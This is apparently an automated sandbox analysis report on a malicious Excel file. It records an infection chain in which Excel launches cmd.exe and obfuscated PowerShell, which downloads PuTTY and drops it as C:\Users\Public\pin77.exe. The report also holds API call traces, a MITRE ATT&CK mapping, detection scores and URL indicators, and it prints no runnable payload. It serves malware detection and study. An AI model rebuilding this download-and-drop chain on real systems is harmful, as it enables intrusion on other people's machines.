Source: C:\Users\Public\pin77.exeCode function: GetDesktopWindow,GetClientRect,CreateWindowExW,GetLastError,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetWindowRect,GetClientRect,SetWindowPos,CreateBitmap,CreateCaret,SetScrollInfo,GetDoubleClickTime,GetSystemMenu,CreatePopupMenu,AppendMenuA,AppendMenuA,AppendMenuA,CreateMenu,DeleteMenu,DeleteMenu,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,GetKeyboardLayout,GetLocaleInfoA,ShowWindow,SetForegroundWindow,GetForegroundWindow,UpdateWindow,PeekMessageW,IsWindow,PeekMessageA,GetForegroundWindow,MsgWaitForMultipleObjects,DispatchMessageW,PeekMessageW,IsWindow,IsDialogMessageA,20_2_002F4877
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,20_2_003A8903
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,20_2_003A894E
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,20_2_003A89F5
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,20_2_003A8AFB
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,20_2_003A2ED5
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoA,DefWindowProcW,20_2_002F1BA9
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037E0B0 cpuid 12_2_0037E0B0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037EF00 ___from_strstr_to_strchr,CreateNamedPipeA,CreateEventA,GetLastError,12_2_0037EF00
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038E3DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,12_2_0038E3DC
Source: C:\Users\Public\pin77.exeCode function: 20_2_003B3AB4 GetTimeZoneInformation,20_2_003B3AB4
Source: C:\Users\Public\pin77.exeCode function: 12_2_0032CBA0 GetVersionExA,GetProcAddress,12_2_0032CBA0
Source: C:\Users\Public\pin77.exeCode function: 12_2_003569E0 GetProcAddress,___from_strstr_to_strchr,GetUserNameA,GetUserNameA,12_2_003569E0
Source: C:\Users\Public\pin77.exeCode function: 12_2_00326250 socket,SetHandleInformation,_strncpy,setsockopt,inet_addr,htonl,htonl,getaddrinfo,htons,htons,bind,listen,closesocket,WSAGetLastError,closesocket,closesocket,WSAGetLastError,12_2_00326250
Source: C:\Users\Public\pin77.exeCode function: 20_2_00326250 socket,SetHandleInformation,_strncpy,setsockopt,inet_addr,htonl,htonl,getaddrinfo,htons,htons,bind,listen,closesocket,WSAGetLastError,closesocket,closesocket,WSAGetLastError,20_2_00326250

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts12
Command and Scripting Interpreter		Path Interception12
Process Injection		111
Masquerading		11
Input Capture		2
System Time Discovery		Remote Services11
Input Capture		Exfiltration Over Other Network Medium11
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts22
Scripting		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts21
Virtualization/Sandbox Evasion		LSASS Memory21
Security Software Discovery		Remote Desktop Protocol1
Archive Collected Data		Exfiltration Over Bluetooth2
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain Accounts13
Exploitation for Client Execution		Logon Script (Windows)Logon Script (Windows)12
Process Injection		Security Account Manager1
Process Discovery		SMB/Windows Admin Shares1
Clipboard Data		Automated Exfiltration2
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local Accounts1
PowerShell		Logon Script (Mac)Logon Script (Mac)11
Deobfuscate/Decode Files or Information		NTDS21
Virtualization/Sandbox Evasion		Distributed Component Object ModelInput CaptureScheduled Transfer13
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script22
Scripting		LSA Secrets11
Application Window Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.common3
Obfuscated Files or Information		Cached Domain Credentials1
Account Discovery		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSync1
System Owner/User Discovery		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem1
Remote System Discovery		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow2
File and Directory Discovery		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork Sniffing34
System Information Discovery		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 760118 Sample: 827837hj.xls Startdate: 04/12/2022 Architecture: WINDOWS Score: 76 61 the.earth.li 2->61 67 Multi AV Scanner detection for submitted file 2->67 69 Obfuscated command line found 2->69 71 Machine Learning detection for sample 2->71 73 3 other signatures 2->73 9 EXCEL.EXE 24 18 2->9         started        signatures3 process4 signatures5 79 Obfuscated command line found 9->79 12 cmd.exe 1 9->12         started        14 cmd.exe 9->14         started        16 cmd.exe 1 9->16         started        18 20 other processes 9->18 process6 process7 20 powershell.exe 15 17 12->20         started        25 conhost.exe 12->25         started        27 powershell.exe 14->27         started        37 2 other processes 14->37 29 powershell.exe 13 16->29         started        31 conhost.exe 16->31         started        33 powershell.exe 13 18->33         started        35 powershell.exe 18->35         started        39 38 other processes 18->39 dnsIp8 63 the.earth.li 93.93.131.124, 443, 49700, 49701 MYTHICMythicBeastsLtdGB United Kingdom 20->63 59 C:\Users\Public\pin77.exe, PE32 20->59 dropped 75 Drops PE files to the user root directory 20->75 77 Powershell drops PE file 20->77 41 pin77.exe 20->41         started        43 pin77.exe 27->43         started        45 pin77.exe 29->45         started        47 pin77.exe 33->47         started        49 pin77.exe 35->49         started        65 192.168.2.1 unknown unknown 39->65 51 pin77.exe 39->51         started        53 pin77.exe 39->53         started        55 pin77.exe 39->55         started        57 12 other processes 39->57 file9 signatures10 process11

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
827837hj.xls24%ReversingLabsScript.Trojan.Woreflint
827837hj.xls41%VirustotalBrowse
827837hj.xls100%Joe Sandbox ML

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\Public\pin77.exe0%ReversingLabs
C:\Users\Public\pin77.exe3%VirustotalBrowse

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%URL Reputationsafe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%URL Reputationsafe
https://api.scheduler.0%URL Reputationsafe
https://api.scheduler.0%URL Reputationsafe
https://my.microsoftpersonalcontent.com0%URL Reputationsafe
https://my.microsoftpersonalcontent.com0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://api.aadrm.com0%URL Reputationsafe
https://api.aadrm.com0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://api.addins.store.officeppe.com/addinstemplate0%URL Reputationsafe
https://api.addins.store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
http://ocsp.sectigo.com00%URL Reputationsafe
http://ocsp.sectigo.com00%URL Reputationsafe
https://asgsmsproxyapi.azurewebsites.net/0%URL Reputationsafe
https://asgsmsproxyapi.azurewebsites.net/0%URL Reputationsafe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#0%URL Reputationsafe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
the.earth.li
93.93.131.124
truefalse
    		high

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    https://the.earth.li/~sgtatham/putty/latest/w32/putty.exefalse
      		high
      https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://api.diagnosticssdf.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
          		high
          https://login.microsoftonline.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
            		high
            https://shell.suite.office.com:1443BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
              		high
              https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorizeBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                		high
                http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0pin77.exe.3.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                		unknown
                https://autodiscover-s.outlook.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                  		high
                  https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                    		high
                    https://cdn.entity.BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://api.addins.omex.office.net/appinfo/queryBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                      		high
                      https://clients.config.office.net/user/v1.0/tenantassociationkeyBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                        		high
                        https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                          		high
                          https://powerlift.acompli.netBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://rpsticket.partnerservices.getmicrosoftkey.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://lookup.onenote.com/lookup/geolocation/v1BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                            		high
                            https://cortana.aiBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                            • URL Reputation: safe
                            		unknown
                            https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                              		high
                              https://cloudfiles.onenote.com/upload.aspxBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                		high
                                https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                  		high
                                  https://entitlement.diagnosticssdf.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                    		high
                                    https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                      		high
                                      https://api.aadrm.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      		unknown
                                      https://ofcrecsvcapi-int.azurewebsites.net/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://www.chiark.greenend.org.uk/~sgtatham/putty/pin77.exe, pin77.exe, 00000014.00000000.332072884.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000014.00000003.339012313.0000000003871000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000014.00000002.1424606423.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000019.00000000.343181471.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000019.00000003.346475187.00000000037A1000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000019.00000002.1425214138.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000001F.00000000.368397866.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000001F.00000002.1424400549.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000001F.00000003.369296026.0000000003611000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000023.00000000.392360958.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000023.00000002.1424548607.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000023.00000003.394085392.0000000003EF1000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000027.00000000.431308185.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000027.00000002.1425266749.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000002B.00000000.466360599.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000002B.00000003.467134535.00000000027A1000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 0000002B.00000002.1424617398.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000031.00000000.504368658.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000031.00000003.506126360.0000000002561000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000031.00000002.1424668650.00000000003B7000.00000002.00000001.01000000.00000004.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                        		high
                                        https://api.microsoftstream.com/api/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                          		high
                                          https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                            		high
                                            https://cr.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                              		high
                                              https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;hBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                              • Avira URL Cloud: safe
                                              		low
                                              https://portal.office.com/account/?ref=ClientMeControlBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                		high
                                                https://graph.ppe.windows.netBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                  		high
                                                  https://res.getmicrosoftkey.com/api/redemptioneventsBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://powerlift-frontdesk.acompli.netBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://tasks.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                    		high
                                                    https://officeci.azurewebsites.net/api/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    https://sr.outlook.office.net/ws/speech/recognize/assistant/workBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                      		high
                                                      https://api.scheduler.BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://my.microsoftpersonalcontent.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://store.office.cn/addinstemplateBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://api.aadrm.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://outlook.office.com/autosuggest/api/v1/init?cvid=BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                        		high
                                                        https://globaldisco.crm.dynamics.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                          		high
                                                          https://messaging.engagement.office.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                            		high
                                                            https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                              		high
                                                              https://dev0-api.acompli.net/autodetectBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://www.odwebp.svc.msBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://api.diagnosticssdf.office.com/v2/feedbackBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                		high
                                                                https://api.powerbi.com/v1.0/myorg/groupsBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                  		high
                                                                  https://web.microsoftstream.com/video/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                    		high
                                                                    https://api.addins.store.officeppe.com/addinstemplateBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    https://graph.windows.netBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                      		high
                                                                      https://dataservice.o365filtering.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                      • URL Reputation: safe
                                                                      		unknown
                                                                      https://officesetup.getmicrosoftkey.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      		unknown
                                                                      https://analysis.windows.net/powerbi/apiBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                        		high
                                                                        https://prod-global-autodetect.acompli.net/autodetectBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                        • URL Reputation: safe
                                                                        		unknown
                                                                        https://outlook.office365.com/autodiscover/autodiscover.jsonBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                          		high
                                                                          https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-iosBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                            		high
                                                                            https://consent.config.office.com/consentcheckin/v1.0/consentsBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                              		high
                                                                              https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                		high
                                                                                https://learningtools.onenote.com/learningtoolsapi/v2.0/GetvoicesBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                  		high
                                                                                  https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                    		high
                                                                                    https://ncus.contentsync.BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://onedrive.live.com/about/download/?windows10SyncClientInstalled=falseBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                      		high
                                                                                      https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                        		high
                                                                                        http://weather.service.msn.com/data.aspxBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                          		high
                                                                                          https://apis.live.net/v5.0/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                          • URL Reputation: safe
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asksBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                            		high
                                                                                            https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                              		high
                                                                                              https://messaging.lifecycle.office.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                		high
                                                                                                https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                  		high
                                                                                                  https://management.azure.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                    		high
                                                                                                    https://outlook.office365.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                      		high
                                                                                                      https://wus2.contentsync.BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                      • URL Reputation: safe
                                                                                                      • URL Reputation: safe
                                                                                                      		unknown
                                                                                                      https://incidents.diagnostics.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                        		high
                                                                                                        https://clients.config.office.net/user/v1.0/iosBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                          		high
                                                                                                          http://ocsp.sectigo.com0pin77.exe.3.drfalse
                                                                                                          • URL Reputation: safe
                                                                                                          • URL Reputation: safe
                                                                                                          		unknown
                                                                                                          https://insertmedia.bing.office.net/odc/insertmediaBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                            		high
                                                                                                            https://o365auditrealtimeingestion.manage.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                              		high
                                                                                                              https://outlook.office365.com/api/v1.0/me/ActivitiesBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                		high
                                                                                                                https://api.office.netBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                  		high
                                                                                                                  https://incidents.diagnosticssdf.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                    		high
                                                                                                                    https://asgsmsproxyapi.azurewebsites.net/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                    • URL Reputation: safe
                                                                                                                    • URL Reputation: safe
                                                                                                                    		unknown
                                                                                                                    https://clients.config.office.net/user/v1.0/android/policiesBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                      		high
                                                                                                                      http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#pin77.exe.3.drfalse
                                                                                                                      • URL Reputation: safe
                                                                                                                      • URL Reputation: safe
                                                                                                                      		unknown
                                                                                                                      https://entitlement.diagnostics.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                        		high
                                                                                                                        https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                          		high
                                                                                                                          https://substrate.office.com/search/api/v2/initBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                            		high
                                                                                                                            https://outlook.office.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                              		high
                                                                                                                              https://storage.live.com/clientlogs/uploadlocationBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                		high
                                                                                                                                https://outlook.office365.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                  		high
                                                                                                                                  https://webshell.suite.office.comBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                    		high
                                                                                                                                    https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                      		high
                                                                                                                                      https://substrate.office.com/search/api/v1/SearchHistoryBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                        		high
                                                                                                                                        https://management.azure.com/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                          		high
                                                                                                                                          https://messaging.lifecycle.office.com/getcustommessage16BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                            		high
                                                                                                                                            https://clients.config.office.net/c2r/v1.0/InteractiveInstallationBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                              		high
                                                                                                                                              https://login.windows.net/common/oauth2/authorizeBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                                		high
                                                                                                                                                https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFileBDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                		unknown
                                                                                                                                                https://graph.windows.net/BDCC5888-C698-441E-B0C1-65519FFD7790.0.drfalse
                                                                                                                                                  		high

                                                                                                                                                  World Map of Contacted IPs

                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                  Public IPs

                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                  93.93.131.124
                                                                                                                                                  		the.earth.liUnited Kingdom
                                                                                                                                                  		44684MYTHICMythicBeastsLtdGBfalse

                                                                                                                                                  Private

                                                                                                                                                  IP
                                                                                                                                                  192.168.2.1

                                                                                                                                                  General Information

                                                                                                                                                  Joe Sandbox Version:36.0.0 Rainbow Opal
                                                                                                                                                  Analysis ID:760118
                                                                                                                                                  Start date and time:2022-12-04 12:04:50 +01:00
                                                                                                                                                  Joe Sandbox Product:CloudBasic
                                                                                                                                                  Overall analysis duration:0h 20m 15s
                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                  Report type:full
                                                                                                                                                  Sample file name:827837hj.xls
                                                                                                                                                  Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                  Run name:Potential for more IOCs and behavior
                                                                                                                                                  Number of analysed new started processes analysed:111
                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                  Technologies:
                                                                                                                                                  • HCA enabled
                                                                                                                                                  • EGA enabled
                                                                                                                                                  • HDC enabled
                                                                                                                                                  • GSI enabled (VBA)
                                                                                                                                                  • AMSI enabled
                                                                                                                                                  Analysis Mode:default
                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                  Detection:MAL
                                                                                                                                                  Classification:mal76.expl.evad.winXLS@165/50@24/2
                                                                                                                                                  EGA Information:
                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                  HDC Information:Failed
                                                                                                                                                  HCA Information:
